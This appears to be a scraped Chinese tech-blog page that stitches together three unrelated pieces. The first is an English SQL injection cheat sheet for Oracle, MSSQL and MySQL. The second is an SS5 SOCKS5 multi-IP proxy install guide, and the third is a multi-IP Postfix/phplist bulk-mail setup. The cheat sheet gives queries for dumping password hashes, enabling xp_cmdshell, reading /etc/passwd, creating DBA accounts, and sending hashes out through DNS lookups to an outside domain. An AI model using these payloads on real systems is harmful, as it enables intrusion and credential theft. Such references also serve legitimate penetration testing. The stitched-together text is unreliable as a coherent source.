| Version |
SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; SELECT version FROM v$instance; |
| Comments |
SELECT 1 FROM dual — comment – NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table. |
| Current User | SELECT user FROM dual |
| List Users |
SELECT username FROM all_users ORDER BY username; SELECT name FROM sys.user$; — priv |
| List Password Hashes |
SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus tells you if acct is locked SELECT name,spare4 FROM sys.user$ — priv, 11g |
| Password Cracker | checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10. |
| List Privileges |
SELECT * FROM session_privs; — current privs SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; |
| List DBA Accounts | SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles |
| Current Database |
SELECT global_name FROM global_name; SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT SYS.DATABASE_NAME FROM DUAL; |
| List Databases |
SELECT DISTINCT owner FROM all_tables; — list schemas (one per user) – Also query TNS listener for other databases. See tnscmd (services | status). |
| List Columns |
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’; SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’; |
| List Tables |
SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables; |
| Find Tables From Column Name | SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case |
| Select Nth Row | SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1) |
| Select Nth Char | SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’ |
| Bitwise AND |
SELECT bitand(6,2) FROM dual; — returns 2 SELECT bitand(6,1) FROM dual; — returns0 |
| ASCII Value -> Char | SELECT chr(65) FROM dual; — returns A |
| Char -> ASCII Value | SELECT ascii(‘A’) FROM dual; — returns 65 |
| Casting |
SELECT CAST(1 AS char) FROM dual; SELECT CAST(’1′ AS int) FROM dual; |
| String Concatenation | SELECT ‘A’ || ‘B’ FROM dual; — returns AB |
| If Statement | BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements |
| Case Statement |
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1 SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2 |
| Avoiding Quotes | SELECT chr(65) || chr(66) FROM dual; — returns AB |
| Time Delay |
BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — if reverse looks are slow SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow – Also see Heavy Queries to create a time delay |
| Make DNS Requests |
SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual; SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; |
| Command Execution |
Javacan be used to execute commands if it’s installed.ExtProc can sometimes be used too, though it normally failed for me. 
|
| Local File Access |
UTL_FILE can sometimes be used. Check that the following is non-null: SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;Java can be used to read and write files if it’s installed (it is not available in Oracle Express). |
| Hostname, IP Address |
SELECT UTL_INADDR.get_host_name FROM dual; SELECT host_name FROM v$instance; SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — gets hostnames |
| Location of DB files | SELECT name FROM V$DATAFILE; |
| Default/System Databases |
SYSTEM SYSAUX |
计算机和互联网
MSSQL SQL 注入攻击查询表
| Version | SELECT @@version |
| Comments |
SELECT 1 — comment SELECT /*comment*/1 |
| Current User |
SELECT user_name(); SELECT system_user; SELECT user; SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID |
| List Users | SELECT name FROM master..syslogins |
| List Password Hashes |
SELECT name, password FROM master..sysxlogins — priv, mssql 2000; SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer. SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005; SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005 |
| Password Cracker | MSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen|drescher can crack these. |
| List Privileges |
– current privs on a particular object in 2005, 2008 SELECT permission_name FROM master..fn_my_permissions(null, ‘DATABASE’); — current database SELECT permission_name FROM master..fn_my_permissions(null, ‘SERVER’); — current server SELECT permission_name FROM master..fn_my_permissions(‘master..syslogins’, ‘OBJECT’); –permissions on a table SELECT permission_name FROM master..fn_my_permissions(‘sa’, ‘USER’);
–permissions on a user– current privs in 2005, 2008
– who has a particular priv? 2005, 2008 |
| List DBA Accounts |
SELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try ‘bulkadmin’, ‘systemadmin’ and other values from the documentation SELECT is_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username. SELECT name FROM master..syslogins WHERE sysadmin = ’1′ — tested on 2005 |
| Current Database | SELECT DB_NAME() |
| List Databases |
SELECT name FROM master..sysdatabases; SELECT DB_NAME(N); — for N = 0, 1, 2, … |
| List Columns |
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable |
| List Tables |
SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’; SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable |
| Find Tables From Column Name |
– NB: This example works only for the current database. If you wan’t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects). SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’ — this lists table, column for each column containing the word ‘password’ |
| Select Nth Row | SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row |
| Select Nth Char | SELECT substring(‘abcd’, 3, 1) — returns c |
| Bitwise AND |
SELECT 6 & 2 — returns 2 SELECT 6 & 1 — returns 0 |
| ASCII Value -> Char | SELECT char(0×41) — returns A |
| Char -> ASCII Value | SELECT ascii(‘A’) – returns 65 |
| Casting |
SELECT CAST(’1′ as int); SELECT CAST(1 as char) |
| String Concatenation | SELECT ‘A’ + ‘B’ – returns AB |
| If Statement | IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1 |
| Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1 |
| Avoiding Quotes | SELECT char(65)+char(66) — returns AB |
| Time Delay | WAITFOR DELAY ’0:0:5′ — pause for 5 seconds |
| Make DNS Requests |
declare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp_getfiledetails ”\’ + @host + ‘c$boot.ini”’); — nonpriv, works on 2000declare @host varchar(800); select @host = name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) + ‘.2.pentestmonkey.net’ from sys.sql_logins; exec(‘xp_fileexist ”\’ + @host + ‘c$boot.ini”’); — priv, works on 2005– NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary. – Also check out theDNS tunnel feature of sqlninja |
| Command Execution |
EXEC xp_cmdshell ‘net user’; — privOn MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default: EXEC sp_configure ‘show advanced options’, 1; — priv RECONFIGURE; — priv EXEC sp_configure ‘xp_cmdshell’, 1; — priv RECONFIGURE; — priv |
| Local File Access |
CREATE TABLE mydata (line varchar(8000)); BULK INSERT mydata FROM ‘c:boot.ini’; DROP TABLE mydata; |
| Hostname, IP Address | SELECT HOST_NAME() |
| Create Users | EXEC sp_addlogin ‘user’, ‘pass’; — priv |
| Drop Users | EXEC sp_droplogin ‘user’; — priv |
| Make User DBA | EXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin; — priv |
| Location of DB files |
EXEC sp_helpdb master; –location of master.mdf EXEC sp_helpdb pubs; –location of pubs.mdf |
| Default/System Databases |
northwind model msdb pubs — not on sql server 2005 tempdb |
MySQL SQL 注入攻击查询表
| Version | SELECT @@version |
| Comments |
SELECT 1; #comment
SELECT /*comment*/1; |
| Current User |
SELECT user();
SELECT system_user(); |
| List Users | SELECT user FROM mysql.user; — priv |
| List Password Hashes | SELECT host, user, password FROM mysql.user; — priv |
| Password Cracker | John the Ripper will crack MySQL password hashes. |
| List Privileges | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns |
| List DBA Accounts | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv |
| Current Database | SELECT database() |
| List Databases |
SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db — priv |
| List Columns | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ |
| List Tables | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ |
| Find Tables From Column Name | SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’ |
| Select Nth Row |
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0 |
| Select Nth Char | SELECT substr(‘abcd’, 3, 1); # returns c |
| Bitwise AND |
SELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0 |
| ASCII Value -> Char | SELECT char(65); # returns A |
| Char -> ASCII Value | SELECT ascii(‘A’); # returns 65 |
| Casting |
SELECT cast(’1′ AS unsigned integer);
SELECT cast(’123′ AS char); |
| String Concatenation |
SELECT CONCAT(‘A’,'B’); #returns AB
SELECT CONCAT(‘A’,'B’,'C’); # returns ABC |
| If Statement | SELECT if(1=1,’foo’,'bar’); — returns ‘foo’ |
| Case Statement | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A |
| Avoiding Quotes | SELECT 0×414243; # returns ABC |
| Time Delay |
SELECT BENCHMARK(1000000,MD5(‘A’));
SELECT SLEEP(5); # >= 5.0.12 |
| Make DNS Requests | Impossible? |
| Command Execution | If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform. |
| Local File Access |
…’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.
SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system |
| Hostname, IP Address | SELECT @@hostname; |
| Create Users | CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv |
| Delete Users | DROP USER test1; — priv |
| Make User DBA | GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv |
| Location of DB files | SELECT @@datadir; |
| Default/System Databases |
information_schema (>= mysql 5.0)
mysql |
安装 SS5 SOCKS5 代理服务器，多进程/多IP地址出口/多端口
SS5 是高性能的 SOCKS 代理服务器，支持 SOCK4 和 SOCKS5 协议。下面的安装指南详细描述了如何在 CentOS 服务器上安装和配置SS5，运行多个 ss5 进程来绑定不同端口到多个IP地址 ，以及设置用户名/密码认证的方法。
1. 从 sourceforge.net 下载最新的源码
wget http://downloads.sourceforge.net/ss5/ss5-3.8.9-8.src.rpm
2. 编译源码
ss5 需要 openldap-devel, pam-devel 和 openssl-devel 开发包，可以使用 YUM 安装:
32 位 Linux 系统,
yum install gcc rpm-build openldap-devel pam-devel openssl-devel
64 位 Linux 系统,
yum install gcc.x86_64 rpm-build.x86_64 openldap-devel.x86_64 pam-devel.x86_64 openssl-devel.x86_64
安装 libgssapi-devel,
yum install libgssapi-devel
然后生成 rpm 包:
rpmbuild --rebuild ss5-3.8.9-8.src.rpm
3. 安装 SS5 rpm 包
在 CentOS 5.x 系统里, RPM 包位于 /usr/src/redhat/RPMS/。
在 CentOS 6.x 系统里, RPM 包位于安装目录下 rpmbuild/RPMS/ 的子目录中。使用下面的命令来安装 RPM 包:
CentOS 5 系统,
rpm -ivh /usr/src/redhat/RPMS/x86_64/ss5-3.8.9-8.x86_64.rpm (针对64 位 Linux)
rpm -ivh /usr/src/redhat/RPMS/i386/ss5-3.8.9-8.i386.rpm (针对32 位 Linux)
CentOS 6 系统 (可能需要输入命令 “cd” 切换到 root 用户目录),
rpm -ivh rpmbuild/RPMS/x86_64/ss5-3.8.9-8.x86_64.rpm (针对64 位 Linux)
rpm -ivh rpmbuild/RPMS/x86_64/ss5-3.8.9-8.i386.rpm (针对32 位 Linux)
4. 以 root 身份运行 SS5 并修改端口为 8899 (默认端口 1080)
修改 /etc/init.d/ss5 并在文件顶部的 #!/bin/sh 之后添加下面的代码:
export SS5_SOCKS_PORT=8899
export SS5_SOCKS_USER=root
（可以使用任何端口，但是请在防火墙中打开）
5. 设定用户名/密码
SS5 配置文件位于 /etc/opt/ss5/ss5.conf， ‘auth’ 参数用于设定认证模式。
不使用用户认证,
auth 0.0.0.0/0 – –
使用用户名/密码认证,
auth 0.0.0.0/0 – u
用户名/密码保存在文件 /etc/opt/ss5/ss5.passwd。请设置权限:
chown root:root /etc/opt/ss5/ss5.passwd
chmod 755 /etc/opt/ss5/ss5.passwd
chmod 755 /etc/opt/ss5
在文件 /etc/opt/ss5/ss5.passwd 中, 每行输入一个用户名和密码，用空格分开。
例如:
user1 pass1
user2 pass2
6. 设置权限 ( /etc/opt/ss5/ss5.conf )
允许所有主机连接:
permit u 0.0.0.0/0 – 0.0.0.0/0 – – – – –
7. 启动/停止/重启 ss5
service ss5 start
service ss5 stop
service ss5 restart
如果出现下面的错误, 先创建 /var/run/ss5 目录后再启动 ss5 。
Can’t create pid file /var/run/ss5/ss5.pid
Can’t unlink pid file /var/run/ss5/ss5.pid
默认的日志文件路径： /var/log/ss5/ss5.log
8. 如果有多个IP地址，可以运行多个 ss5 代理服务器进程，每个进程绑定不同的端口/出口IP地址。
第一步, 给每个进程创建一个用户:
useradd user1 -s /bin/false -p YourPasswordHere
第二步, 查看用户的 UID：
awk -F: '/^user1:/{print $1,$4}' /etc/passwd
第三步, 根据用户 UID 在防火墙上设置出口 IP 地址：
iptables -t mangle -A OUTPUT -m owner --uid-owner USER_UID -j MARK --set-mark USER_UID
iptables -t nat -A POSTROUTING -m mark --mark USER_UID -j SNAT --to-source 24.68.1.1
(USER_UID 为第二步中输出的数字)
查看防火墙的地址转换规则:
iptables -nvL -t nat
iptables -nvL -t mangle
最后, 用不同用户启动进程, 设置不同的IP和端口：
ss5 -u user1 -b 24.68.1.1:10001
提示: 请在防火墙上打开端口 10001
重复上面的步骤来配置每一个IP地址。
配置 phplist 通过多个 Postfix 进程和多个 IP 地址发邮件
如果你使用过 postfix 服务器，就知道外发邮件的瓶颈不是服务器硬件本身，而是外部邮件服务器接受邮件的速率。
为了充分利用闲置资源，我们可以给服务器增加一个或多个IP地址，利用Postfix的多进程功能来增加一个或多个Postfix进程。这样，就可以让服务器的邮件发送量翻倍。
准备工作
1. 首先，给主机增加一个IP地址。
2. 确认 Postfix 服务器正常运行。
3. 启用 Postfix 的多进程支持，执行命令:
postmulti -e init
4. 创建一个新的Postfix进程:
postmulti -I postfix-2 -G outgoing -e create
-I 是进程的名字，可以使用主机名或其它名字。
-G 是组的名字，本帖子没有用到组所以随便起个名字。如果想同时重启某几个进程时可用到组。
上面的创建新进程的命令，会生成用于保存配置文件和邮件队列的目录。目录结构很简单但很重要，因为后面使用进程时会需要用到:
配置文件例如 main.cf 文件位于 /etc/instancename/，以前面的新进程为例，目录是 /etc/postfix-2/
邮件队列位于 /var/spool/instancename/，以前面的新进程为例，目录是 /var/spool/postfix-2/
5. 给 Postfix 进程绑定IP地址
假设我们有两个 IP 地址 – 192.168.50.44 192.168.50.45
系统默认的进程的配置文件位于目录 /etc/postfix, 我们保留原来的 localhost, 并绑定特定的地址 192.168.50.44:
修改文件 /etc/postfix/main.cf，找到:
inet_interfaces = all
修改为:
inet_interfaces = localhost, 192.168.50.44
打开文件 /etc/postfix/master.cf, 找到:
smtp unix - - n - - smtp
修改为:
smtp unix - - n - - smtp -o smtp_bind_address=192.168.50.44
也就是默认的 Postfix 进程将通过 192.168.50.44 发送邮件。
对其它的每个进程，修改相应的 /etc/instancename 目录下的 main.cf 配置文件，来绑定各自的 IP 地址。
对我们上面的例子，就是修改文件 /etc/postfix-2/main.cf，找到:
inet_interfaces = all
修改为:
inet_interfaces = 192.168.50.45
打开文件 /etc/postfix-2/master.cf, 找到:
smtp unix - - n - - smtp
修改为:
smtp unix - - n - - smtp -o smtp_bind_address=192.168.50.45
6. 重启 postfix 服务使前面的修改生效
7. 安装一个或者多个 phplist
8. 配置每个 phplist 从不同的 postfix 进程发出邮件
以前面的postfix新进程为例，在 phplist 的文件 admin/index.php 的前面加上下面的代码:
putenv("MAIL_CONFIG=/etc/postfix-2");
(说明: 如果只想安装一个phplist，那么 “postfix-2” 可以使用变量)
9. 最后需要将运行 phplist 用户的名字加入 /etc/postfix-2/main.cf 的允许发送邮件的用户列表
authorized_submit_users = testuser
10. (供参考) 下面是用于 启动/停止/启用/禁用 postfix 进程的命令:
postmulti -i postfix-2 -p start
postmulti -i postfix-2 -p stop
postmulti -i postfix-2 -e enable
postmulti -i postfix-2 -e disable
现在，我们可以同时运行多个 phplist 的计划任务，同一台邮件服务器的邮件发送量就翻倍了。